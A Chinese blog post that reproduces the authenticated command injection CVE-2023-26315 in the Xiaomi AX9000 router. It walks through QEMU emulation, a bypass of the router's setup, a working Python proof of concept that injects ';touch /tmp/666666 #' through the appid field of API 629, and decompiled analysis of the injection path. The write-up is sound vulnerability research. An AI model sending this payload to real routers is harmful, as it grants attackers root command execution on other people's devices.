前言 本文参考 winmt 师傅的文章,复现其挖掘的小米 AX9000 路由器命令执行漏洞。本文大幅简化了分析流程,梳理并总结了所需工具与操作指令,旨在帮助读者快速完成该路由器的qemu仿真与漏洞复现。
漏洞概要 国家信息安全漏洞共享平台 CVE 记录:CVE-2023-26315
固件版本 ≤ 1.0.168
授权后命令注入漏洞 小米AX9000路由器在1.0.168版本及之前存在二进制漏洞(命令注入),该漏洞由于未对非法的appid做出有效限制而引起。已授权登录的攻击者在成功利用此漏洞后,可在远程目标设备上执行任意命令,并获得设备的最高控制权,造成权限提升
qemu系统仿真小米路由器AX9000 固件下载地址:固件下载 qemu-ARM64内核环境下载地址: qemu搭建ARM64环境 | XiDP
固件拆解 拆解固件过程如下
1 2 3 4 5 6 7 binwalk -Me miwifi_ra70_firmware_cc424_1.0.168.bin cd _miwifi_ra70_firmware_cc424_1.0.168.bin.extractedubireader_extract_images 2B4.ubi // 得到的文件会放入在ubifs-root的2B4.ubi文件夹中(不执行这个指令是没有这个文件夹的) cd ubifs-rootcd 2B4.ubibinwalk -Me img-870537086_vol-ubi_rootfs.ubifs cd _img-870537086_vol-ubi_rootfs.ubifs.extracted
配置qemu虚拟机网络 完成之后就可以启动我们已经配置好的qemu虚拟机(需要手动配置ip地址)
1 2 3 4 5 6 // 使用./qemu-start.sh来启动qemu虚拟机 // 启动完成之后登入root用户,密码为xidp // 之后按照下面指令配置ip地址 ip add add 192.168.122.130/24 dev enp0s1 ip link set enp0s1 up ip route add default via 192.168.122.1
设置之后尝试ping一下主机来验证ip地址来查看是否设置成功
patch修改文件 为了能够跳过小米路由器的初始化这里需要patch其中的文件 patch的文件为/squashfs-root/usr/sbin/sysapihttpd 找到如图所示部分进行修改将 CBZ 修改为 CBNZ
使用scp传输向qemu虚拟机传输文件 patch之后替换掉原本的文件随后使用scp传入qemu虚拟机中
1 2 3 4 5 // 在Ubuntu物理机中压缩并传输 tar -czf squashfs-root.tar.gz ./squashfs-root/ scp -o HostKeyAlgorithms=ssh-rsa squashfs-root.tar.gz root@192.168.122.130:/root/ // 下面在qemu虚拟机中解压 tar -xzf squashfs-root.tar.gz
使用这个方法会出现一个问题,明明使用root用户传输密码是对的,但是它就是显示不对,这是并不是密码的缘故而是ssh禁止了使用root用户登入 我们需要做一个修改,否则后续依旧只能使用普通用户来传输很麻烦
在root用户下使用下面指令修改ssh配置文件
1 nano /etc/ssh/sshd_config
修改完毕之后重启ssh服务
然后再次使用上述scp指令就可以进行传输了
启动httpd服务 之后就可以准备启动httpd服务 执行下面几个指令(这里是按照wimmt师傅文章中的内容做了一个总结,只需要按照顺序复制粘贴到qemu虚拟机中就可以成功启动小米路由器的仿真)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 cd /root/squashfs-rootmount --bind /proc proc mount --bind /dev dev chroot . /bin/shmkdir -p /var/runtouch /var/run/ubus.sockmkdir -p /var/locktouch /var/lock/procd_sysapihttpd.lock/sbin/procd & sleep 3/sbin/ubusd & sleep 2echo "WAUST-8WAUDT" > /etc/TZ/etc/init.d/sysapihttpd start
执行之后就可以访问 192.168.122.130 它会自动定位到这里路由器的初始化配置页面
因为初始化部分和硬件相关所以我们需要想个办法绕过 也就是执行下面这两个指令
1 2 3 4 uci set xiaoqiang.common.INITTED=1 uci commit // 输出验证是否成功写入 uci show | grep INITTED
设置好之后再次访问就可以绕过初始化配置,直接跳转到登入页面
注意这里是重新访问,不是刷新界面
由于我们复现的CVE-2023-26315是一个授权认证后的漏洞,因此我们需要设置登录密码以登录进后台拿到token的值
所以下面我们需要尝试登入它 阅读它的web页面源码来查看它的密码的加密逻辑是什么F12之后查看web内容,分别在440行和1722行可以看到
由此可以看出,我们的用户名是固定为admin,而密码是通过一个叫 oldPwd()函数 加密之后的结果。 这个 oldPwd()函数 将用户提交的密码和一个固定的key = a2ffa5c9be07488bbb04a3a47d3c5f6a组合之后使用sha1哈希进行一个加密
1 真实密码 = sha1(用户设置的密码 + a2ffa5c9be07488bbb04a3a47d3c5f6a)
下面我们假设我们设置的用户密码为 xidp 那么我们需要给account.common.admin这个uci配置为sha1(xidpa2ffa5c9be07488bbb04a3a47d3c5f6a)
1 sha1(xidpa2ffa5c9be07488bbb04a3a47d3c5f6a) = 32 c98a6b9ffd5226b7ca5e8336e2e50bbfa6fb10
那么我们使用下面指令来设置密码
1 2 3 uci set account.common.admin=32c98a6b9ffd5226b7ca5e8336e2e50bbfa6fb10 uci commit uci show | grep admin
下面就可以成功使用密码xidp登入了
没用的部分 也是进入到这个界面发现这个小米路由器AX9000的造型看起来有点酷
本来想淘宝买一个看看能不能实机打一下,淘宝看了一下价格感觉还是算了o(╥﹏╥)o
漏洞复现 这里先简单使用winmt师傅的PoC来演示漏洞效果,随后再介绍漏洞成因
这里先对着这个小米路由器的配置界面抓个包,得到我们现在的token值
抓包得到的内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 GET /cgi-bin/luci/;stok=26 a8470f16d4a0c8a03a8e503549b3ee/web/home HTTP/1.1 Host: 192.168 .122 .130 Cookie: __guid=82176214.4122683288115647000 .1762159952222 .404 ; monitor_count=6 ; psp=admin|||2 |||0 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:140.0 ) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,*
可以得知我们的token=26a8470f16d4a0c8a03a8e503549b3ee
然后qemu虚拟机启动这两个服务
1 2 /usr/sbin/datacenter & /usr/sbin/plugincenter &
接着编写我们的PoC,如下所示(我本来是想拿shell的,但是尝试几次之后都没有连接上,不知道什么原因,为了展示命令执行成功,我将指令换成了创建文件666666)
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsserver_ip = "192.168.122.130" token = "26a8470f16d4a0c8a03a8e503549b3ee" test_cmd = ";touch /tmp/666666 #" res = requests.post( "http://{}/cgi-bin/luci/;stok={}/api/xqdatacenter/request" .format (server_ip, token), data={'payload' :'{"api":629, "appid":"' + test_cmd + '"}' } ) print ("响应:" , res.text)
接着运行我们的脚本
到这里就算是成功复现了,我们可以直接使用指令退出我们的qemu虚拟机了
漏洞原理分析 复现成功之后我们再来看我们这命令执行漏洞具体产生的原因是什么 小米路由器的前端是使用Lua来编写的,而且其中存放的Lua文件并不是源码而是已经编译后的二进制文件,同时小米对Lua的解释器做了魔改。
但是没有关系github上已经有了专门针对小米路由器Lua的反编译工具: NyaMisty/unluac_miwifi
Lua反汇编和分析 由于需要反编译的数量比较多,所以我们简单写一个脚本来批量反编译
修改脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import ossource_base = "/home/xidp/myfile/iot/xiaomi_ax9000/_miwifi_ra70_firmware_cc424_1.0.168.bin.extracted/ubifs-root/2B4.ubi/_img-870537086_vol-ubi_rootfs.ubifs.extracted/squashfs-root/usr/" output_base = "/home/xidp/myfile/iot/xiaomi_ax9000/luac" os.makedirs(output_base, exist_ok=True ) res = os.popen(f"find {source_base} -name *.lua" ).readlines() for i in range (0 , len (res)): source_path = res[i].strip("\n" ) relative_path = os.path.relpath(source_path, source_base) output_path = os.path.join(output_base, relative_path + ".dis" ) os.makedirs(os.path.dirname(output_path), exist_ok=True ) cmd = f"java -jar /home/xidp/tools/unluac_miwifi/unluac.jar {source_path} > {output_path} " print (f"反编译: {source_path} -> {output_path} " ) os.system(cmd)
下面我们打开反编译的 /usr/lib/lua/luci/controller/api/xqdatacenter.lua 可以看到大致如下内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 local L0, L1, L2, L3, L4, L5L0 = module L1 = "luci.controller.api.xqdatacenter" L2 = package L2 = L2.seeall L0(L1, L2) function L0 () local L0, L1, L2, L3, L4, L5, L6 L0 = node L1 = "api" L2 = "xqdatacenter" L0 = L0(L1, L2) L1 = firstchild L1 = L1() L0.target = L1 L0.title = "" L0.order = 300 L0.sysauth = "admin" L0.sysauth_authenticator = "jsonauth" L0.index = true L1 = entry L2 = {} L3 = "api" L4 = "xqdatacenter" L2[1 ] = L3 L2[2 ] = L4 L3 = firstchild L3 = L3() L4 = _ L5 = "" L4 = L4(L5) L5 = 300 L1(L2, L3, L4, L5) L1 = entry L2 = {} L3 = "api" L4 = "xqdatacenter" L5 = "request" L2[1 ] = L3 L2[2 ] = L4 L2[3 ] = L5 ... ... end index = L0
当然这样的可读性依旧不是很高,我们可以使用ai工具来帮助我们增加可读性 ai解析过后的内容大致如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 local module = require ("luci.controller.api.xqdatacenter" )package .seeall (module )function define_routes () local api_node = node("api" , "xqdatacenter" ) api_node.target = firstchild() api_node.title = "" api_node.order = 300 api_node.sysauth = "admin" api_node.sysauth_authenticator = "jsonauth" api_node.index = true entry( {"api" , "xqdatacenter" }, firstchild(), _("" ), 300 ) entry( {"api" , "xqdatacenter" , "request" }, call("tunnelRequest" ), _("" ), 301 ) entry( {"api" , "xqdatacenter" , "identify_device" }, call("identifyDevice" ), _("" ), 302 , 8 ) ... ... end index = define_routes
分析结果可知/api/xqdatacenter/request这个API端点需要用户登录认证,并且用户名被设置为 admin,sysauth_authenticator = "jsonauth"即当token不存在或错误时,通过authenticator.jsonauth函数进行登录验证
对于具体的入口来说,定义entry{}内的第五个参数flag位为0x01(或&0x01=1)代表不需要鉴权,这里/api/xqdatacenter/request这个入口没有设置flag位,因此表示需要鉴权。
下面来看 tunnelRequest 这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 function L5 () local L0, L1, L2, L3, L4, L5, L6, L7, L8 L0 = require L1 = "xiaoqiang.util.XQCryptoUtil" L0 = L0(L1) L1 = L0.binaryBase64Enc L2 = _UPVALUE0_ L2 = L2.formvalue_unsafe L3 = "payload" L2, L3, L4, L5, L6, L7, L8 = L2(L3) L1 = L1(L2, L3, L4, L5, L6, L7, L8) L2 = _UPVALUE1_ L2 = L2.THRIFT_TUNNEL_TO_DATACENTER L2 = L2 % L1 L3 = require L4 = "luci.util" L3 = L3(L4) L4 = _UPVALUE0_ L4 = L4.write L5 = L3.exec L6 = L2 L5 = L5(L6) L6 = nil L7 = false L8 = true L4(L5, L6, L7, L8) end tunnelRequest = L5 ## AI增加可读性如下 tunnelRequest = function () local XQCryptoUtil = require ("xiaoqiang.util.XQCryptoUtil" ) local luci_util = require ("luci.util" ) local raw_payload = _UPVALUE0_.formvalue_unsafe("payload" ) local encoded_payload = XQCryptoUtil.binaryBase64Enc(raw_payload) local command = string .format (_UPVALUE1_.THRIFT_TUNNEL_TO_DATACENTER, encoded_payload) local command_result = luci_util.exec(command) _UPVALUE0_.write (command_result, nil , false , true ) end
函数主要作用是会对传入payload字段内的JSON数据用binaryBase64Enc函数进行Base64编码处理,然后拼接入THRIFT_TUNNEL_TO_DATACENTER所指代的命令中并执行
关键问题在于使用formvalue_unsafe函数获取payload字段内容,未过滤危险字符。
而formvalue函数中是有用hackCheck过滤危险字符的。这里可能是开发者考虑到Json格式的数据当中可能会用到某些字符所以不能直接过滤,但也没有进一步去做针对于Json的危险字符过滤,给了我们可趁之机。
在/usr/lib/lua/xiaoqiang/common/XQConfigs.lua中,可以找到THRIFT_TUNNEL_TO_DATACENTER的相关定义
1 2 L0 = "thrifttunnel 0 '%s'" THRIFT_TUNNEL_TO_DATACENTER = L0
也就是最后执行的东西是 thrifttunnel 0 base64(raw_payload) 所以下面我们就来看看这个/usr/sbin/thriftunnel二进制文件
二进制文件内容分析 这里我们直接进入这个叫sub_AB08的函数,它是thriftunnel的主要程序内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 __int64 __fastcall sub_AB08 (int a1, __int64 a2) { __int64 v3; const char *v4; __int64 v5; int v6; int v7; const char *v8; __int64 v10; _QWORD v11[4 ]; _QWORD v12[4 ]; _BYTE v13[32 ]; if ( a1 == 3 ) { sub_1B6FC(v11, *(a2 + 16 )); sub_1B6FC(&v10 + 104 , "" ); if ( v11[1 ] ) { sub_1B6FC(v13, *(a2 + 16 )); sub_1B9B0(v13, v12); std ::string ::_M_dispose(v13); } switch ( atoi(*(a2 + 8 )) ) { case 0 : v3 = sub_1BAE0(v12[0 ]); goto LABEL_31; case 1 : v3 = sub_1BE38(v12[0 ]); goto LABEL_31; case 2 : v4 = v12[0 ]; uloop_init(); v5 = ubus_connect(0LL ); qword_3E1D0 = v5; if ( v5 ) { uloop_fd_add(v5 + 80 , 9LL ); if ( ubus_lookup_id(qword_3E1D0, "smartcontroller" , &dword_3E1D8) ) { v8 = "{\"code\":-100,\"msg\":\"connect failed\"}" ; } else { blob_buf_init(&qword_3E1E0, 0LL ); v6 = strlen (v4); blobmsg_add_field(&qword_3E1E0, 3LL , "request" , v4, (v6 + 1 )); v7 = ubus_invoke_fd( qword_3E1D0, dword_3E1D8, "process_request" , qword_3E1E0, sub_1B678, 0LL , 5000LL , 0xFFFFFFFF LL); v8 = 0LL ; if ( !byte_3E128 ) { switch ( v7 ) { case 7 : v8 = "{\"code\":-101,\"msg\":\"request server timeout\"}" ; break ; case 2 : v8 = "{\"code\":-102,\"msg\":\"invalid argument\"}" ; break ; case 5 : v8 = "{\"code\":-103,\"msg\":\"server response no data\"}" ; break ; default : v8 = "{\"code\":-104,\"msg\":\"unknown error\"}" ; break ; } } } if ( qword_3E1D0 ) ubus_free(); } else { v8 = "{\"code\":-100,\"msg\":\"connect failed\"}" ; } uloop_done(); if ( v8 ) fputs (v8, stdout ); break ; case 3 : v3 = sub_1CBA8(); goto LABEL_31; case 4 : v3 = sub_1CEBC(); goto LABEL_31; case 5 : v3 = sub_1D1D0(); goto LABEL_31; case 6 : v3 = sub_1C4E8(v12[0 ]); goto LABEL_31; case 7 : v3 = sub_1C840(v12[0 ]); goto LABEL_31; case 8 : v3 = sub_1D4E4(v12[0 ]); LABEL_31: std ::operator<<<std ::char_traits<char >>(&std ::cout , v3); break ; default : break ; } std ::string ::_M_dispose(v12); std ::string ::_M_dispose(v11); } return 0LL ; }
1 2 __int64 __fastcall sub_AB08 (int argc, __int64 argv)
也就是说
a1是 argc 表示 参数个数
a2是 argv 表示 参数数组指针
第一步 它检查程序调用参数是不是三个
显然我们的 thrifttunnel 0 base64_string 符合要求
1 2 3 argv[0 ] = "thrifttunnel" argv[1 ] = "0" argv[2 ] = base64_string
第二步 sub_1B6FC函数的作用是复制
1 2 sub_1B6FC(v11, *(a2 + 16 )); sub_1B6FC(&v10 + 104 , "" );
它将 *(a2 + 16) 也就是 argv[2] 的内容复制到 11 中,说通俗点就是将 base64_string 的内容复制到 v11 中
第三步 1 2 3 4 5 6 if ( v11[1 ] ){ sub_1B6FC(v13, *(a2 + 16 )); sub_1B9B0(v13, v12); std ::string ::_M_dispose(v13); }
这里先判断了一下 v11 是否为空,不为空就会进入 if,依旧复制 base64_string 的内容到 v13 中,然后作为第一个参数被传入sub_1B9B0函数中,而sub_1B9B0函数的第二个参数v11此时是空串
这里不再进入 sub_1B9B0函数 继续讲解,它的逻辑较为简单,结合ai分析可以知道它的功能大致就是 解开base64编码,然后将结果存放在 v12 中
第四步 接下来是个 switch 显然我们传入的 argv[1] = 0, 所以我们会进入 case 0 中
1 2 case 0 : v3 = sub_1BAE0(v12[0 ]);
也就是随后会执行 sub_1BAE0函数 而这里的 v12[0] 按照我们的分析,它应该是解码后的字符串,也就是我们用户输入的命令
在sub_1BAE0函数中,创建了socket,传入的参数是Json字符串,很容易判断出此处会将payload字段的Json数据发送给本地127.0.0.1的9090端口
/usr/sbin/datacenter程序一直挂在进程中,监听着9090端口,故我们的数据被传到了datacenter程序进一步处理(这里笔者有一个疑问,不知道winmt师傅是如何发现这个 datacenter 程序监听9090端口,难不成是把 sbin 文件夹下所有文件都分析了一遍吗?) 从下图图示部分可以看到 datacenter 程序的main函数中创建了非阻塞服务器实例,监听9090端口
下面进入到datacenter的constructAPIMappingTable()函数
这三个函数都是API路由映射表构建函数,用于建立API编号 → 处理函数的映射关系,实现请求的路由分发 有一些api是直接在datacenter中被处理的,有些是被进一步转发到了/usr/sbin/indexservice(9088端口)处理,另外一些则是被转发到了/usr/sbin/plugincenter(9091端口)中进一步处理。
下面我们之间定位到漏洞所在的api,在datacenter::PluginApiCollection::sConstructMappingTable中,当api为629的时候,对应的handler是callPluginCenter
进入 callPluginCenter 看一下它的功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 __int64 __fastcall callPluginCenter (__int64 a1, __int64 a2) { char *v3; _BYTE v5[32 ]; _QWORD v6[5 ]; v3 = json_object_to_json_string(a1, &_stack_chk_guard, 0LL ); sub_B48B0(v5, v3); ThriftClient::sCallPluginCenter(v6, v5); std ::string ::_M_assign(a2, v6); std ::string ::_M_dispose(v6); std ::string ::_M_dispose(v5); return v6[4 ] ^ _stack_chk_guard; }
分析可知它的主要功能是接收JSON格式的请求数据,通过Thrift协议转发到plugincenter服务,获取服务端响应并返回
进入其中的 sCallPluginCenter 函数可以看出它将数据转发给了本地的9091端口
下面来看 DataCenterHandler::request函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 __int64 __fastcall DataCenterHandler::request (__int64 a1, __int64 a2, __int64 a3) { __int64 v5; __int64 v6; __int64 v7; _QWORD v9[6 ]; _QWORD v10[5 ]; APIMapping::APIMapping(v9); APIMapping::redirectRequest(v10, v9, a3); std ::string ::_M_assign(a2, v10); std ::string ::_M_dispose(v10); std ::_Rb_tree<int ,std ::pair <int const ,void (*)(json_object *,std ::string &)>,std ::_Select1st<std ::pair <int const ,void (*)(json_object *,std ::string &)>>,std ::less<int >,std ::allocator<std ::pair <int const ,void (*)(json_object *,std ::string &)>>>::_M_erase( v9, v9[2 ]); google::LogMessage::LogMessage( v9, "src/thriftwrapper/DataCenterHandler.hpp" , 40LL , 1LL , 0LL , &google::LogMessage::SendToSyslogAndLog, 0LL ); v5 = google::LogMessage::stream(v9); v7 = std ::operator<<<std ::char_traits<char >>(v5, "output is: " , v6); std ::operator<<<char >(v7, a2); google::LogMessage::~LogMessage(v9); return v10[4 ] ^ _stack_chk_guard; }
其中调用了 APIMapping::APIMapping 而这个函数里面就调用了我们之前分析的 constructAPIMappingTable函数
1 2 3 4 5 6 7 8 9 void __fastcall APIMapping::APIMapping (APIMapping *this) { *(this + 2 ) = 0 ; *(this + 2 ) = 0LL ; *(this + 3 ) = this + 8 ; *(this + 4 ) = this + 8 ; *(this + 5 ) = 0LL ; constructAPIMappingTable(this); }
调用APIMapping::APIMapping函数建立好上述的映射关系表后 DataCenterHandler::request函数 又调用了 APIMapping::redirectRequest函数。
APIMapping::redirectRequest函数是我们需要重点分析的内容,它的主要作用简而言之就是解析请求中的API编号,在STL map中查找对应的处理函数,然后通过函数指针动态调用
前面我们分析过了,当api为629时,传入的payload字段的数据会被转发给plugincenter程序处理 所以下面我们来分析 /usr/sbin/plugincenter程序
直接在plugincenter中找到 datacenter::PluginApiMappingExtendCollection::sConstructMappingTable函数 同样这个函数也是通过map建立api编号和对应handler函数的映射关系
1 2 v3 = 629 ; *std ::map <int ,void (*)(json_object *,std ::string &)>::operator[](a1, &v3) = parseGetIdForVendor;
可以得知当api编号为629的时候,会执行parseGetIdForVendor函数 进入parseGetIdForVendor函数中 会将传入的Json数据内的appid字段作为参数传递到PluginApi::getIdForVendor函数中
下面来看 PluginApi::getIdForVendor函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 __int64 __usercall PluginApi::getIdForVendor@<X0>(__int64 a1@<X1>, __int64 a2@<X8>) { __int64 v4; __int64 v5; __int64 JsonObject; __int64 v7; char *v8; __int64 v10; __int64 v11; _BYTE v12[16 ]; _QWORD v13[2 ]; char v14; _BYTE v15[32 ]; AppAccountManager::AppAccountManager(&v11); if ( !AppAccountManager::IsValidAppId(&v11, a1) ) { google::LogMessage::LogMessage( v12, "src/api/PluginApi.cpp" , 626LL , 2LL , 0LL , &google::LogMessage::SendToSyslogAndLog, 0LL ); v4 = google::LogMessage::stream(v12); std ::operator<<<std ::char_traits<char >>(v4, "invalid app id." ); google::LogMessage::~LogMessage(v12); sub_8A940(&v10 + 120 , "" ); if ( ApiBase::sCreateJsonObject(5LL ) ) { v5 = (json_object_to_json_string)(); std ::string ::operator=(v15, v5); } std ::string ::_M_dispose(v15); } v13[0 ] = &v14; v13[1 ] = 0LL ; v14 = 0 ; std ::operator+<char >("matool --method idForVendor --params " , a1); CommonUtils::sCallSystem(v15, v13); std ::string ::_M_dispose(v15); JsonObject = ApiBase::sCreateJsonObject(0LL ); v7 = json_object_new_string(v13[0 ]); json_object_object_add(JsonObject, "idforvendor" , v7); v8 = json_object_to_json_string(JsonObject); sub_8A940(a2, v8); json_object_put(JsonObject); std ::string ::_M_dispose(v13); AppAccountManager::~AppAccountManager(&v11); return a2; }
分析可以得知这个函数的主要作用应该是下面三点
验证应用ID的有效性
通过系统命令调用外部工具获取供应商ID
将结果封装为JSON格式返回
我们来一步步分析:
1 __int64 __usercall PluginApi::getIdForVendor@<X0>(__int64 a1@<X1>, __int64 a2@<X8>)
a1: 输入参数,指向包含appid的字符串(应用程序ID)
a2: 输出参数,用于存储返回结果的字符串引用
1 AppAccountManager::AppAccountManager(&v11);
在栈上构造一个AppAccountManager对象,用于验证应用ID的有效性
1 2 3 if ( !AppAccountManager::IsValidAppId(&v11, a1) ) { }
检查传入的appid是否合法,如果不合法将会进入if中 但是如果不合法则不会进入if中,但是很奇怪,尽管不合法也没有退出该函数阻止后面的命令执行,甚至没有对该appid的内容做一个过滤,而是做了一个日志记录,创建了一个错误响应,但是就是没有return,所以依旧会执行下面的代码
就在下面的代码中有这样一段代码
1 2 3 4 5 v13[0 ] = &v14; v13[1 ] = 0LL ; v14 = 0 ; std ::operator+<char >("matool --method idForVendor --params " , a1);CommonUtils::sCallSystem(v15, v13);
这句 std::operator+<char>("matool --method idForVendor --params ", a1); (这里我猜测实际应该是 std::operator+<char>("matool...", a1, v13);而v13应该是被反编译的时候优化掉了,否则解释不了为什么会对v13产生影响)将 v13 变成了 "matool --method idForVendor --params " + a1 而 a1 则是用户可控的 appid
sCallSystem是一个封装的函数,用于执行命令,其中不是使用system函数而是使用popen函数来完成命令 但是 sCallSystem 并没有实现对命令参数安全性进行判断,也没有对不合理的指令做过滤,因此最终会导致用户可以控制 appid 来实现命令执行漏洞
最后 最后做个小结吧。在复现漏洞的过程中,我发现其中涉及的 C++ 网络编程、红黑树等数据结构,都是自己目前的知识盲区,阅读时常常感到吃力。即便借助 AI 工具辅助,仍有不少细节未能吃透,这也导致漏洞原理分析部分存在疏漏,没能在文章中完全的表达清晰。同时,winmt 师傅的文章里还有不少让我困惑的地方。比如已知 sub_1BAE0 函数会向本地 127.0.0.1:9090 发送数据,但仍不清楚如何确认 datacenter 程序正监听该端口。在惊叹于 winmt 师傅深厚的漏洞挖掘功底时,我也清晰意识到自身的短板,由于缺乏系统的学习,只能在复现过程中边摸索边补漏。但多次的漏洞复现也让我更明确了后续努力的方向,希望通过持续积累逐步提升自己的漏洞挖掘能力。
参考[原创] 小米AX9000路由器CVE-2023-26315漏洞挖掘-智能设备-看雪-安全社区|安全招聘|kanxue.com [原创] 小米路由器固件仿真模拟方案-智能设备-看雪论坛-安全社区|非营利性质技术交流社区